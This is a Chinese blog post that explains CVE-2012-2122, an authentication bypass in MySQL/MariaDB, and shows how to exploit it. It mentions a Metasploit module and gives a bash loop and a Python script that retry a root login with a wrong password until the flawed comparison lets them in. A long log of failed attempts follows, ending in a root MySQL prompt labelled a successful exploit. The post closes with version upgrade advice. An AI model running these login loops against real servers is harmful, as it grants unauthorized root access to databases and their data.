zoukankan      html  css  js  c++  java
  • (cve-2012-2122)Mysql身份认证漏洞及利用

    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

    工具使用和脚本:

    测试方法1:

      网上已经出了metasploit版本的相应利用工具下载地址 

    测试方法2:

      $ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done mysql>

    测试方法3:

      #!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

    如下用测试方法3:

    尝试输入256次输入密码

    relik@stronghold:~# python mysql_bypass.py
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES)
    ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES)
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Welcome to the MySQL monitor. Commands end with ; or g.
    Your MySQL connection id is 24598
    Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
    
    Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
    
    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.
    
    Type ‘help;’ or ‘h’ for help. Type ‘c’ to clear the current input statement.
    
    mysql>v>

    利用成功!
     

    MySQL身份认证漏洞处解决办法:升级MySQL(低于以下版本的都必须升级到最新版
    本:5.0版本低于5.0.96;5.1版本低于5.1.63;5.5版本低于5.5.25)停止mysql,备份整个mysql安装目
    录,data目录(这个步骤只是预防升级失败)。
     
  • 相关阅读:
    单例模式
    C++中迭代器原理、失效和简单实现
    C++中静态成员变量要在类外部再定义或初始化的原因
    idea maven javaweb项目迁移时的maven和版本报错问题解决(可解决同类错误)
    java 继承类之后,访问不到超类的属性的原因及解决方法
    spring boot admin
    javaweb 报表生成(pdf excel)所需要用到的技术和思路
    团队合作开发git冲突解决方案 Intellij IDEA
    【项目管理】 使用IntelliJ IDEA 将项目发布(提交)到GitLab
    IDEA/Git 设置多个push远程仓库或者同时提交多个push仓库
  • 原文地址:https://www.cnblogs.com/daiorz/p/12009206.html
Copyright © 2011-2022 走看看